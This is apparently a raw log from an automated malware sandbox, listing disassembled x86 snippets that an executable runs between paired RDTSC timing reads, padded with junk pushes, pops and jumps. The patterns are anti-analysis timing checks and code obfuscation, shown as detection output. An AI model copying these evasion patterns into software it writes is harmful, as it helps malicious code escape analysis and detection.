Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D62CD7 second address: D62CDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D62CDB second address: D62D09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84197h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F15B8B84193h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D6338D second address: D63393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D6394F second address: D6395E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 ja 00007F15B8B84186h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D63F46 second address: D63F4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D6C15C second address: D6C167 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D6C167 second address: D6C16C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D6C16C second address: D6C17B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F15B8B8418Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D6C2D7 second address: D6C318 instructions: 0x00000000 rdtsc 0x00000002 js 00007F15B904E926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jns 00007F15B904E926h 0x00000011 pushad 0x00000012 popad 0x00000013 pop eax 0x00000014 jmp 00007F15B904E930h 0x00000019 js 00007F15B904E932h 0x0000001f js 00007F15B904E926h 0x00000025 jng 00007F15B904E926h 0x0000002b popad 0x0000002c jo 00007F15B904E958h 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D6C318 second address: D6C327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15B8B8418Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D6C498 second address: D6C49C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D6C8E8 second address: D6C8EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D73DA1 second address: D73DA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D7420B second address: D74229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F15B8B84195h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D74229 second address: D7422D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D744B7 second address: D744BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D74798 second address: D7479C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D7512D second address: D75131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D737B8 second address: D737BD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D7C07C second address: D7C096 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B8B84194h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D7BC44 second address: D7BC48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D8CB1D second address: D8CB3C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F15B8B84197h 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D8C539 second address: D8C549 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F15B904E926h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D8C549 second address: D8C55B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jnp 00007F15B8B841A7h 0x0000000d push edi 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D8C6CD second address: D8C6D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D8C6D1 second address: D8C6E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F15B8B8418Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D952B9 second address: D952BE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D9BF66 second address: D9BF71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D9BF71 second address: D9BF7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E92Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D9D77E second address: D9D784 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D9D784 second address: D9D788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D9D788 second address: D9D792 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F15B8B84186h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DA4228 second address: DA4233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F15B904E926h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DA44B1 second address: DA44C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B8418Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DA48E7 second address: DA48ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DA48ED second address: DA48F3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DA4A3B second address: DA4A5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E935h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DA4A5A second address: DA4A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DA4A62 second address: DA4A67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DA4BDC second address: DA4C0C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F15B8B84186h 0x00000008 jne 00007F15B8B84186h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 je 00007F15B8B8418Eh 0x00000016 jc 00007F15B8B84186h 0x0000001c pushad 0x0000001d popad 0x0000001e jng 00007F15B8B8418Ch 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 pop eax 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DA71E3 second address: DA71E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DA8826 second address: DA882A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DAB297 second address: DAB29F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DBC110 second address: DBC114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DBC114 second address: DBC118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DE218F second address: DE21B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 jmp 00007F15B8B84191h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F15B8B8418Fh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DE21B8 second address: DE21CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F15B904E926h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DE21CA second address: DE21CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DE21CE second address: DE21D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DE2343 second address: DE234E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F15B8B84186h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DE2A97 second address: DE2A9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DE2A9B second address: DE2AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DE2AA1 second address: DE2AD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F15B904E948h 0x0000000c jmp 00007F15B904E930h 0x00000011 jmp 00007F15B904E932h 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a push edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DE2C0D second address: DE2C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F15B8B8418Dh 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 pushad 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 jne 00007F15B8B84186h 0x0000001e jne 00007F15B8B84186h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DE2C3A second address: DE2C5D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F15B904E935h 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d jne 00007F15B904E926h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DE2D98 second address: DE2D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DE7234 second address: DE7251 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E935h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DE78B9 second address: DE78BE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: DE918B second address: DE918F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C09DF second address: 51C09E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C09E3 second address: 51C09E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C09E9 second address: 51C09EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C09EF second address: 51C09F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C09F3 second address: 51C09F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C09F7 second address: 51C0A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F15B904E939h 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F15B904E92Ch 0x00000016 sub ax, C158h 0x0000001b jmp 00007F15B904E92Bh 0x00000020 popfd 0x00000021 mov ah, B6h 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 jmp 00007F15B904E92Bh 0x0000002b pop ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0A50 second address: 51C0A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0A54 second address: 51C0A58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0A58 second address: 51C0A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B0999 second address: 51B09A6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 mov edi, 33336C56h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B09A6 second address: 51B09D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84197h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F15B8B8418Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B09D2 second address: 51B09D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B09D6 second address: 51B09DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B09DC second address: 51B0A0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E934h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F15B904E930h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B0A0D second address: 51B0A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B0A11 second address: 51B0A2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E939h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B0A2E second address: 51B0A34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B0A34 second address: 51B0A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51F0846 second address: 51F0883 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84195h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F15B8B8418Eh 0x0000000f push eax 0x00000010 jmp 00007F15B8B8418Bh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b mov ecx, edi 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51F0883 second address: 51F0889 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190100 second address: 5190104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190104 second address: 5190108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190108 second address: 519010E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 519010E second address: 5190142 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007F15B904E933h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F15B904E930h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190142 second address: 5190146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190146 second address: 519014C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 519014C second address: 5190167 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B8418Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190167 second address: 5190184 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E939h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190184 second address: 51901B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 mov ecx, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push dword ptr [ebp+0Ch] 0x0000000d jmp 00007F15B8B84195h 0x00000012 push dword ptr [ebp+08h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F15B8B8418Dh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B0751 second address: 51B0763 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 mov bx, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B0763 second address: 51B07A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov ecx, ebx 0x0000000d pushfd 0x0000000e jmp 00007F15B8B84199h 0x00000013 sub ax, FA66h 0x00000018 jmp 00007F15B8B84191h 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B07A2 second address: 51B07CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E931h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F15B904E92Eh 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 pushad 0x00000013 mov bx, cx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B038E second address: 51B03AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 mov ebx, 4FC80E00h 0x0000000d popad 0x0000000e popad 0x0000000f push ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F15B8B8418Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B03AB second address: 51B03CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 call 00007F15B904E92Bh 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 movzx eax, bx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B03CA second address: 51B03CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B03CF second address: 51B03D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
